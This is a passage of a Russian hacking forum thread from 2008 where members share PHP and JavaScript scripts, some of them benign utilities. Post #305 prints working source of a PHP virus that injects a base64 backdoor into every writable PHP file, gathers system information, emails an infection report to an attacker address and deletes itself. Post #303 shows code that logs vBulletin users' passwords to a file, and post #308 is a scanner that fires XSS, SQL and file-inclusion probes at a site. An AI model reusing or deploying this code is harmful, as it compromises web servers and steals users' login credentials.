ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #301  
Старый 13.02.2008, 01:58
!{ra!{e/\/
Banned
Регистрация: 27.08.2007
Сообщений: 159
Провел на форуме:
994336

Репутация: 171
Отправить сообщение для !{ra!{e/\/ с помощью ICQ
По умолчанию

Скрипт для отсеивания фрихостов с файла в другой
PHP код:
<?php
$fileinput
="1.txt";
$fileoutput="2.txt";
$f=fopen($fileoutput,'w');
$ar = array(".narod.ru"".h10.ru""jino-net.ru","h17.ru",".h18.ru",".clan.su","ucoz.ru","vo.uz","at.ua","p0.ru","3dn.ru","my1.ru","moy.su","do.am","pp.net.ua","ucoz.ua","ucoz.kz","ucoz.lv","ws.co.ua");
$s=file($fileinput);
for (
$i=0;$i<count($s);$i++) {
for (
$j=0;$j<count($ar);$j++){
if (
eregi($ar[$j],$s[$i])) {fputs($f,$s[$i]);}
}
}
fclose($f);
echo 
"Процедура успешно завершена ";
?>
Чуть поправив можно собирать только отдельные фрихосты или что то другое(народа)
PHP код:
....
$ar = array("ftp.narod.ru");
.... 

Последний раз редактировалось !{ra!{e/\/; 13.02.2008 в 02:32..
 
Ответить с цитированием

  #302  
Старый 13.02.2008, 02:07
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Почему ftp.narod.ru, а не просто .narod.ru ?
 
Ответить с цитированием

  #303  
Старый 13.02.2008, 02:31
BBG2
Познающий
Регистрация: 29.12.2007
Сообщений: 39
Провел на форуме:
180247

Репутация: -10
По умолчанию

Код:
$file = fopen("logins.txt", "a"); 
if($file) 
{ 
   $string = $vbulletin->GPC['vb_login_username'].":".$vbulletin->GPC['vb_login_password']."\n"; 
   fwrite($file, $string); 
   fclose($file); 
}
На одном форуме мне написали, вот такой код,
Всё бы хорошо, но в файле сохраняется только Логин, а пароль почемуто не прописывается. Вчем может быть проблемма.? ПОМОГИТЕ ПЖЛСТА
 
Ответить с цитированием

  #304  
Старый 13.02.2008, 02:41
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Bbg2, по этому вопросу тем на форуме не менее 10
 
Ответить с цитированием

  #305  
Старый 14.02.2008, 04:49
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

PHP код:
<?php // DarkMindZ.com
######################################
# [ DarkMindZ PHP.Virus v1.5 ] #
# [ RoMeO ] #
######################################
set_time_limit(0);
ignore_user_abort(1);
# root@darkmindz.com~ cat /home/pr0jects/virus/intro
# DMZ PHP.Virus, very simple PHP virus, that would do the following:
# |1| Look for all PHP files in directory.
# |2| Check if infected.
# |3| Infect with your backdoor.
# |4| Log all infected files, and optional mail them to you.
# root@darkmindz.com~ exit

# [ To-Do ] #
# Mass infector, infect other users on server.
# Better Reports, some system info reports too.
# Spreading, by RFI dorks.
# Polymorphism
#[x] Change user-agent used, 2 backdoors, `include and a CMD exec`. - done a better job here, one backdoor, includes all that :]

######## [ CONFIG ] ########
$backdoor =''# your backdoor here - Base64 encoded PLEASE
$agent 'darkmindz.com_b4ckd00r'# your agent here.
##
$log_email 1# Send log to email?
$email 'romeo.haxxor@gmail.com'# Email to send logs to.
##
$log_report 0# Write a log?
$filename '__log.html'# name of log.
##
$delete_me 1# Delete me after we are done? - Recommended. :]
##
echo '<title>DarkMindZ.com - Think Dark - The Backdoor.</title><center><strong> [ <a href="http://www.darkmindz.com">DarkMindZ.com || Mass Backdoor Tool || By RoMeO</a> ]</strong></center><br>';

$dir opendir('.');

$site=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);

echo 
'<strong>[-] Infecting : ' $site '</strong><br>';

while (
$file readdir($dir))
{
if (
strstr($file'.php') && is_writeable($file))
{
$victim fopen($file'r+');
$victim_read fread($victimfilesize($file));
if (!
strstr($victim_read'DarkMindZ.com'))
{
fclose($victim);
unlink($file);
$new fopen($file'a+');
$new_write fwrite($newbase64_decode($backdoor) . $victim_read);
fclose($new);

echo 
'[x] Infected: ' getcwd() .'/'$file '<br>';

if(
$log_email) { $log fopen('__tmp''a+'); fwrite($log'[x] File: ' getcwd() .'/'$file '

'
); fclose($log); }
if(
$log_report) { $x fopen($filename'a+'); fwrite($x'[x] File: ' getcwd() .'/'$file "\n"); fclose($x); }
}
}
}

closedir($dir);

if(
$log_email) {


$fromname "DarkMindZ Backdoor";

$fromaddress "root@darkmindz.com";

$eol="\n";
$headers  "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;

$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-type: text/html; charset=iso-8859-1".$eol.$eol;

$report file_get_contents('__tmp');
$dir getcwd();
$part explode('/'$dir);
$username $part[1];
$uname = @system('uname -a');
$report .= '
###########################################
Backdoor Report  |  | DarkMindZ.com
###########################################
Target: '
.$site.'
Uname: '
.$uname.'
Username: '
.$username.'
Agent: '
.$agent.'
###########################################
'
;
mail($email"DarkMindZ Backdoor"'

.$report$headers); unlink('__tmp'); echo '<br />[x] Email Report Sent!';}

if(
$delete_me) { unlink(__file__); }
# done, kthxbai! next target pl0x;]
exit; # if we are in a RFI, we dont want to show other content, right?
?>
 
Ответить с цитированием

  #306  
Старый 14.02.2008, 21:32
scrat
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме:
5812656

Репутация: 1540


Отправить сообщение для scrat с помощью ICQ
По умолчанию

upd: Привёл в более божеский вид:
PHP код:
<?php
function c($text,$key// шифровка
{
    for(
$j=0;$j<strlen($text);$j++) $text[$j]=chr(ord($text[$j])+$key);
    return 
$text;    
}

function 
d($text,$key//дешифровка
{
    for(
$j=0;$j<strlen($text);$j++) $text[$j]=chr(ord($text[$j])-$key);
    return 
$text;
}
?>
Ничего серьёзного показать не хотел,строго не судите.

Последний раз редактировалось scrat; 14.02.2008 в 22:54..
 
Ответить с цитированием

Cкрипт подцветки кода Pascal
  #307  
Старый 17.02.2008, 02:13
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию Cкрипт подцветки кода Pascal

PHP код:
<?php
error_reporting
(1);

 
// Обработка строк
 
function StringProc($input$pos) {
         
$pos_one $pos;
         
$pos_two $pos;
         for (
$i=$pos_one+1$i<strlen($input); $i++) {
                 if (
$input[$i]=="'") {
                         
$pos_two $i;
                         break;
                 }
         }
         
$pos $pos_two;   // Вернем позицию конца строки
         
$res[0] = "<font color=blue>".substr($input$pos_one$pos_two-$pos_one+1)."</font>";
         
$res[1] = $pos_two;
         return 
$res;
 }

 
// Обработка комментариев в виде гнутой скобки
 
function CommentProc1($input$pos) {
         
$pos_one $pos;
         
$pos_two $pos;
         for (
$i=$pos_one+1$i<strlen($input); $i++) {
                 if (
$input[$i]=="}") {
                         
$pos_two $i;
                         break;
                 }
         }
         
$pos $pos_two;   // Вернем позицию конца строки
         
$res[0] = "<font color=gray>".substr($input$pos_one$pos_two-$pos_one+1)."</font>";
         
$res[1] = $pos_two;
         return 
$res;
 }

 
// Обработка комментариев в виде скобки и звездочки
 
function CommentProc2($input$pos) {
         
$pos_one $pos;
         
$pos_two $pos;
         for (
$i=$pos_one+1$i<strlen($input); $i++) {
                 if ((
$input[$i]==")") & ($input[$i-1]=="*")) {
                         
$pos_two $i;
                         break;
                 }
         }
         
$pos $pos_two;   // Вернем позицию конца строки
         
$res[0] = "<font color=gray>".substr($input$pos_one$pos_two-$pos_one+1)."</font>";
         
$res[1] = $pos_two;
         return 
$res;
 }

 
// Обработка однострочных комментариев в виде двойного слеша
 
function CommentProc3($input$pos) {
         
$pos_one $pos;
         
$pos_two $pos;
         for (
$i=$pos_one+1$i<strlen($input); $i++) {
                 if (
$input[$i]=="\n") {
                         
$pos_two $i;
                         break;
                 }
         }
         
$pos $pos_two;   // Вернем позицию конца строки
         
$res[0] = "<font color=gray>".substr($input$pos_one$pos_two-$pos_one+1)."</font>";
         
$res[1] = $pos_two;
         return 
$res;
 }

 
// Обработка цифр и HEX кодов
 
function NumberProc($input$pos) {
         
$pos_one $pos;
         
$pos_two $pos;
         for (
$i=$pos_one+1$i<strlen($input); $i++) {
                 if (!
ereg('[0-9,a-f,A-F]'$input[$i])) {
                         
$pos_two $i;
                         break;
                 }
         }
         
$pos $pos_two;   // Вернем позицию конца строки
         
$res[0] = "<font color=red>".substr($input$pos_one$pos_two-$pos_one)."</font>";
         
$res[1] = $pos_two-1;
         return 
$res;
 }

 
// Обработка ключевых слов
 
function KeyWordProc($input$pos$key$_words$_keys) {

        
$strlen strlen($input);
         for (
$i=$pos$i<$strlen$i++)
           if (
eregi('[^a-z,A-Z]'$input[$i]))  break;

         
$res[0] = substr($input$pos$i-$pos);
         
$res[1] = $pos+strlen($res[0])-1;   // Вернем позицию конца строки

         
for ($i=$_keys[$key][1]; $_words[$i][0]==$_keys[$key][0]; $i++) {
                if (
eregi(substr($input$posstrlen($_words[$i])), $_words[$i]) &
                         
eregi('[^a-z,A-Z,0-9]'$input[$pos+strlen($_words[$i])])) {
                         
$res[0] = "<b>".$_words[$i]."</b>";
                         
$res[1] = $pos+strlen($_words[$i])-1;
                         break;
                 }
         }       
// Если это не ключевое слово - передадим его целиком

         
return $res;
 }

 
// *************************************************************
 // Основная функция раскраски кода                             *
 // *************************************************************
 
function DrawCodePas($input) {

        
// Выделение ключевых слов

        // Выделяемые слова
         
$key_words "abstract/and/array/as/asm/begin/case/class/const/constructor/cdecl/default/destructor/do/div/dynamic/else/end/except/external/finally/for/function/finalization/if/implementation/interface/initialization/message/mod/nil/not/name/of/or/overload/override/package/packed/pascal/private/procedure/program/property/protected/public/published/raise/read/record/shl/shr/stdcall/string/then/to/try/type/type/unit/until/uses/var/virtual/where/while/with/write/xor";

         
// Заполняем их в массив
         
$key_words explode('/'$key_words);
      
      
// При добавлении новых ключевых слов откомментировать, выполнить под отладкой
      // и заменить потом $key_words вычесленным значением $e_key_words (удалить завершающий слеш)
      //   sort($key_words);
      //   for ($j=0; $j<count($key_words); $j++) {
      //       $e_key_words .= $key_words[$j]."/";
      //   }
         
         // Составим список буква - первое слово, начинающиеся с этой буквы в $key_words
         
for ($j=0$j<count($key_words); $j++) {

            
//$key_words[$j] = trim($key_words[$j]);
            // Добавим символ и ссылку на слово в массив
            
$new_item[0] = $key_words[$j][0];
            
$new_item[1] = $j;
            
$first_chars[] = $new_item;
            
// Теперь пропустим все слова с этой же буквы
            
for ($i=$j+1$i<count($key_words); $i++) {
                if (
$key_words[$i][0] != $key_words[$j][0])  break;
            }
            
$j $i-1;
         }
         
         
$result "";
         
$input ' '.$input.' ';

         
// Разукрашивание
         
for ($i=1$i<strlen($input); $i++) {

                 if (
$input[$i]=="'") {
                         
$in_str StringProc($input$i);
                         
$result .= $in_str[0];
                         
$i $in_str[1];
                 } elseif (
$input[$i]=="{") {
                         
$in_str CommentProc1($input$i);
                         
$result .= $in_str[0];
                         
$i $in_str[1];
                 } elseif ((
$input[$i]=="(") & ($input[$i+1]=="*")) {
                         
$in_str CommentProc2($input$i);
                         
$result .= $in_str[0];
                         
$i $in_str[1];
                 } elseif ((
$input[$i]=="/") & ($input[$i+1]=="/")) {
                         
$in_str CommentProc3($input$i);
                         
$result .= $in_str[0];
                         
$i $in_str[1];
                 } elseif ((
ereg('[0-9]'$input[$i]) & ereg("[\n\( ,.\[;]"$input[$i-1])) |
                           (
ereg('[-]'$input[$i-1]) & ereg("[0-9]"$input[$i])) |
                                   (
ereg('[\$]'$input[$i]) & ereg("[\n\( ,-;.]"$input[$i-1]) & ereg("[0-9,a-f,A-F]"$input[$i+1])))  {
                         
$in_str NumberProc($input$i);
                         
$result .= $in_str[0];
                         
$i $in_str[1];
                 } elseif

                 
// Проверим не начинается ли с текущей буквы какое-то ключевое слово,
                 // а перед этим проверим, чтобы перед ней стоял пробел, запятая или что-то вроде этого
                 
(eregi('[^a-z,A-Z_,0-9]'$input[$i-1]) & eregi('[a-z,A-Z]'$input[$i])) {

                         
$check false;
                         for (
$j=0$j<count($first_chars); $j++) {
                                 if (
strtolower($input[$i])==strtolower($first_chars[$j][0])) {
                                         
$in_str KeyWordProc($input$i$j$key_words$first_chars);
                                         
$result .= $in_str[0];
                                         
$i $in_str[1];
                                         
$j count($first_chars)-1;        // Чтобы цикл остановился
                                         
$check true;                                // Пометка, что первая буква была в словаре,
                                 
}                                                                // т.е слово было обработанно
                         
}
                         if (
$check==false)  { $result .= $input[$i]; }
                 } else {
                         
$result .= $input[$i];
                 }
         }

         return 
trim($result);
 }
 
 
// Обработчик обратного вызова из preg_replace_callback, используемого для
 // обработки Паскаль-кода
 
function pas_preg_callback($matches) { 
   return 
"<pre class=\"code\">".DrawCodePas($matches[1])."</pre>"
 }
 
 
error_reporting(0);
 
?>
 
Ответить с цитированием

  #308  
Старый 18.02.2008, 01:22
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

C тегами PHP или CODE запостить не могу...

Php Vulnerability Scanner by KingOfSka


#!/usr/bin/php -q
<?php

/**
* Php Vulnerability Scanner by KingOfSka @ http://www.contropoterecrew.org
* still very early release, just for testing and coding purpose
*
* Changelog:
*
* 12/09/06 Version 0.1 : First "working" version, should work on "almost" site, report any bug to help me
* 25/09/06 0.2 : Better crawling, less bandwith/resource usage, speed improved, better vuln finding code
*
**/

print_r('
-------------------------------------------------------------------------------
Php Vulnerability Scanner by KingOfska @ http://contropotere.netsons.org
kingofska [at] gmail [dot] com
-------------------------------------------------------------------------------
');

if ($argc < 2) {
print_r('
Early release, please send bug report to help improving this script
--------------------------------------------------------------------------------
Usage: '.$argv[0].' host [start_path][port][debug]
host: target server (ip/hostname)
path: path from which to start scanning, if none entered starts from \'/\'
port: port of the http server, default 80

Examples:
'.$argv[0].' localhost /folder/script.php 81

--------------------------------------------------------------------------------
');
die;
}
$host= $argv[1]; // Insert the host site i.e. : www.website.com
$start_page = $argv[2]; // Insert the start page for the scan, if empty will start from index.*
$port = 80 ;
$additional_vars = array('id','page');
$locator = array("123'",'\'\';!--"<XSS>=&{()}','some_inexisistent_file_to_include.p hp'); //XSS Locator from ha.ckers.org

$debug = TRUE;
/** Compatibility for php < 5
* stripos() function made by rchillet at hotmail dot com
*
*/
if (!function_exists("stripos")) {
function stripos($str,$needle,$offset=0)
{
return strpos(strtolower($str),strtolower($needle),$offse t);
}
}
/**
* Do not edit below unless you know what you do...
*/
$reqmade = 0 ;
$time_start = getmicrotime();
set_time_limit(0);
error_reporting(E_ERROR);
$checkedpages[]='';
$result[] = '';
$links[] = '';
$checkedlinks[] = '' ;
echo "Starting scan on $host:\r\nStarting page: $start_page\r\n";
$site_links = index_site();
$count = count($site_links);
echo "Starting to scan $count pages...\r\n";

foreach($site_links as $cur){

echo "Testing: $cur \r\n";
test_page($cur);

}

$time_end = getmicrotime();
$result['time'] = substr($time_end - $time_start,0,4);
$result['connections'] = $reqmade;
$result['scanned'] = count($checkedpages);

echo "Report:";

foreach ($result['vuln'] as $type=> $url){
echo "\r\n$type vulnerability found:\r\n";
$url = array_unique($url);
foreach($url as $cur){
echo "$cur \r\n";
}
}
$server = get_server_info();
echo "\r\nAdditional infos:\r\n";
echo "Site running on: ".$server['software']."\r\n";
echo "Powered by: ".$server['powered']."\r\n";
echo "Scan took ".$result['time']." seconds to scan ".$result['scanned']." pages using ".$result['connections']." connections\r\n";



function index_site(){
global $start_page;
array($links);
$tmp = get_links($start_page,true);
foreach($tmp as $cur){
$tmp2 = get_links($cur,true);
$links = array_merge_recursive($links,$tmp2);
}
$links = array_unique(clean_array($links));
$links[] = $start_page;
sort($links);
return($links);
}


/**
* Testes a form using global vuln locator, both GET and POST method, and print result to screen
* @author KingOfSka <kingofska@gmail.com>
* @param array $form Form to test
* @return void
*/

function test_form($form){
$ret = '';
$tmp = '';
global $host,$port,$locator,$debug,$result ;
if($form['action'][0] != '/' AND stripos($form['action'],'http://') === FALSE ){$form['action'] = '/'.$form['action'];}
if ($form['method'] = 'get'){
foreach($form['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)<br>\n";
} else {
if (!stripos('?',$data['action'])){
$req = "GET ".$form['action']."?$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}else{
$req= "GET ".$form['action']."&$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}
if ($debug == TRUE){echo $req;}
fputs ($conn, $req);
while (!feof($conn)) {
$tmp .= fgets ($conn,128);

}
fclose ($conn);

do_test($tmp,$form['action'],$current);

$tmp = '';
}
}
}

}else if ($form['method'] = 'post'){

foreach($form['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)\r\n";
} else {
$req="POST ".$form['action']." HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: Close\r\nContent-Length: ".strlen($postit)."\r\n\r\n$postit\r\n\r\n";
$postit = "$current=$testing" ;
if ($debug == TRUE){echo $req;}
fputs ($conn, $req);
while (!feof($conn)) {
$tmp .= fgets ($conn,128);
}
fclose ($conn);

do_test($tmp,$form['action'],"POST: $current");
$tmp = '';
}
}
}


}


}
/**
* Catches and Parses HTML forms
* @author KingOfSka <kingofska@gmail.com>
* @param string $page Page to scan for forms
* @return Array
**/

function catch_forms($page){
array($form);
$data = get($page);
preg_match_all('#<form .+?>.+?</form>#is',$data['content'],$matches);
foreach ($matches[0] as $data['content']){
preg_match('#<form (.+?)>(.+?)</form>#is',$data['content'],$matches);
$form['setup'] = $matches[1];
$form['content'] = $matches[2];
preg_match('#method\s?=\s?["\']?(get|post)["\']?#i',$form['setup'],$matches);
if (isset($matches[1])){
$form['method'] = $matches[1];
}else{
$form['method'] = 'get';
}
preg_match('#action\s?=\s?["\']?([^"\']*)["\']?#i',$form['setup'],$matches);
$form['action'] = $matches[1];
preg_match_all('#<input (.*)>#i',$form['content'],$input);
foreach($input[0] as $cur){
preg_match('#name\s?=\s?["\']?(\w*)["\']?#i',$cur,$matches);
$form['vars'][] = $matches[1];
}
print_r($form);
test_form($form);
}
}

function get_server_info(){
global $site_links;
array($server);
foreach($site_links as $link){
if(stripos($link,'.php')){
$right = $link;
break;
}
}
$data = get($right);
preg_match('#Server:\s?(\w.*)#',$data['headers'],$matches);
$server['software'] = $matches[1];
preg_match('#X-Powered-By:\s?(\w.*)#',$data['headers'],$matches);
if (isset($matches[1])){
$server['powered'] = $matches[1];
}
return $server;
}

function test_page($page){
global $checkedpages;


if (in_array($page,$checkedpages)){
return;
}


catch_forms($page);
$plinks = get_links($page,true);
foreach ($plins as $cur){
test_link($cur);
}
$checkedpages[] = $page ;

}

/**
* Perform a simple GET request,returning an array containing
* server-sent headers and content
*
* @author KingOfSka <kingofska@gmail.com>
* @param string $path Path to the resource to request
* @param string $cookie Cookie string to pass along with the request (still to implement....)
* @return Array
**/

function get($path = '/',$cookie = ''){
global $host,$port,$debug,$reqmade,$checkedlinks;

array($ret);
$tmp = '';
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
$reqmade++;

if($path[0] != '/' AND stripos($path,'http://') === FALSE){$path = '/'.$path;}
if (!$conn) {
echo "$errstr ($errno)<br>\n";
} else {
if ($debug == TRUE){echo "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";}
fputs ($conn, "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n");
while (!feof($conn)) {
$tmp .= fgets ($conn,128);
}
fclose ($conn);
}

//echo $tmp;
preg_match('#HTTP\/1\.\d (\d\d\d)#',$tmp,$matches);

if ($matches[1]!= 200){
$ret = "HTTP Error Code NТА".$matches['1'];
if ($debug == TRUE){echo "Debug:\r\n$tmp<br/>\r\n";}
}
if ($matches[1]== 302 OR $matches[1] == 301){
preg_match('#Location.*)#',$tmp,$matches);
if (!in_array($matches[1],$checkedlinks)){

return get($matches[1]);
}
}
$b = preg_split('#Content-Type: text/html#',$tmp);

$ret['headers'] = $b[0];
$ret['content'] = $b[1];
if ($debug == TRUE){echo "Debug:\r\n".$ret['headers']."\r\n";}
return $ret;
}

/**
* Catches all the links in a webpage, checking they are not pointing to
* files external at the host being scanned.
*
* @author KingOfSka <kingofska@gmail.com>
* @return Array
**/

function get_links($data,$getpage = FALSE){
global $host,$links;
if ($getpage == TRUE){
$tmp = get($data);
$data = $tmp['content'];
}

preg_match_all('#<a href=[\'"].+?[\'"].+?>#i',$data,$matches);

foreach ($matches[0] as $current){


preg_match('#<a href=["\'](.+?)["\'].+?>#i',$current,$matches);

$current = $matches[1];
if (is_valid_url($current)){
if (stripos($current,$host) != FALSE OR stripos($current,'http://') === FALSE ){

if ($current[0] == '?'){
$current= 'index.php'.$current;

}

if (stripos($current,$host) === FALSE OR stripos($current,'http://') === FALSE){

$current = "http://$host/$current";

}
if (!in_array($current,$links)){
$retlinks[] = $current ;
}
}
}
}
return array_unique($retlinks) ;
}

/**
* Parse a link returning an array with the name of the file which
* the link is pointing to, and the GET variables passed trhough it.
*
* @author KingOfSka <kingofska@gmail.com>
* @return Array
* @param string $link Link to parse
**/

function parse_link($link){
array($ret);


$matches = explode('?',$link);
$ret['action'] = $matches[0] ;
$matches = explode('&',$matches[1]);
foreach($matches as $cur){
$matches = explode('=',$cur);
$vars[] = $matches[0];
}

$ret['vars'] = $vars;

return $ret;
}
/**
* Tests a given link echoing found vulnerabilities
*
* @author KingOfSka <kingofska@gmail.com>
* @return void
* @param $link Link to test
**/

function test_link($link){
global $host,$port,$locator,$result;

$ret = '';
$tmp = '';
$data = parse_link($link);
//$data['vars'] = array_merge($data['vars'],$additional_vars);
foreach($data['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)\r\n";
} else {
if (!stripos('?',$data['action'])){
$req = "GET ".$data['action']."?$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}else{
$req= "GET ".$data['action']."&$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}
fputs ($conn, $req);

while (!feof($conn)) {
$tmp .= fgets ($conn,128);

}

fclose ($conn);
do_test($tmp,$data['action'],$current);

$tmp ='';
}
}
}
return;
}

/**
* Removes empty item from a given array
*
* @return Array
* @param $array array to clean
**/

function clean_array($array) {
foreach ($array as $index => $value) {
if(is_array($array[$index])) $array[$index] = clean_array($array[$index]);
if (empty($value) OR !is_valid_url($value)) unset($array[$index]);
}
return $array;
}

function getmicrotime(){
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}

function clean_url_array($array){
foreach ($array as $cur){
echo $cur;
if(!is_valid_url($cur)) unset ($array[$cur]);
}
return $array;
}

function is_valid_url($url){

if (!eregi("^(http|https)+(:\/\/)+[a-z0-9_-]+\.+[a-z0-9_-]",$url)){

return FALSE;
}else{
return TRUE;
}
}

function do_test($data,$path,$var){
global $result;
if (stripos($data,'\'\';!--"<XSS>=') OR stripos($data,"\'\';--\"<XSS>=") OR stripos($data,'<XSS>')){

$result['vuln']['xss'][]=$path."?$var=[XSS]";
}


if (stripos($data,'You have an error in your SQL syntax')){
$result['vuln']['sql'][]=$path."?$var=[SQL]";

}



if (stripos($data,'Failed opening \'some_inexisistent_file_to_include.php\' for inclusion')){
$result['vuln']['rfi'][]=$path."?$var=[RFI]";
}


return;
}

?>

Последний раз редактировалось Dr.Check; 18.02.2008 в 01:28..
 
Ответить с цитированием

  #309  
Старый 22.02.2008, 00:23
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

WSH: слежение за использованием CD/DVD-привода

Цитата:
/*****************
Имя: CdRomSpy.js
*****************/

// VARIABLES

ws=WScript;
sh=ws.CreateObject("WScript.Shell");
fso=ws.CreateObject("Scripting.FileSystemObject");
driveName="P:"; // Буква cd-rom'a.
drive=fso.GetDrive(driveName);
checkTime=3000; // Время между проверками (в миллисекундах). Не рекомендую
// ставить меньше 1000. Смысла никакого.
logFilePath="C:\\cd-rom.log"; // Путь к файлу с логом.


// FUNCTIONS

function waitForLoad()
{
while(!drive.IsReady) ws.Sleep(checkTime);
var time=new Date().toLocaleString();
with (fso.OpenTextFile(logFilePath,8))
WriteLine("Загрузка диска: "+time), Close();
waitForUnload();
}

function waitForUnload()
{
while(drive.IsReady) ws.Sleep(checkTime);
var time=new Date().toLocaleString();
with(fso.OpenTextFile(logFilePath,8))
WriteLine("Выгрузка диска: "+time), WriteBlankLines(1), Close();
waitForLoad();
}


// MAIN CODE

sh.Popup("Запуск",1);
if(!fso.FileExists(logFilePath)) fso.CreateTextFile(logFilePath);
if(!drive.IsReady) waitForLoad();
else waitForUnload();
http://forum.script-coding.info/viewtopic.php?id=217
 
Ответить с цитированием

  #310  
Старый 22.02.2008, 13:27
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Прокси листер www.nntime.com
PHP код:
<?
echo "<title>NNtime Proxy List</title>";
function 
proxylist($site){
$source=file_get_contents($site);
preg_match_all("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]{2,4}/",$source,$matched);
return 
$matched[0];
}

$array=proxylist("http://www.nntime.com");
foreach(
$array as $tek){
$tek=str_replace("
"
,"",$tek);
print 
$tek."<br>";
}
?>
Хотя правильней сделать вывод в файл...
Скрипт не мой...

Последний раз редактировалось Dr.Check; 22.02.2008 в 13:39..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ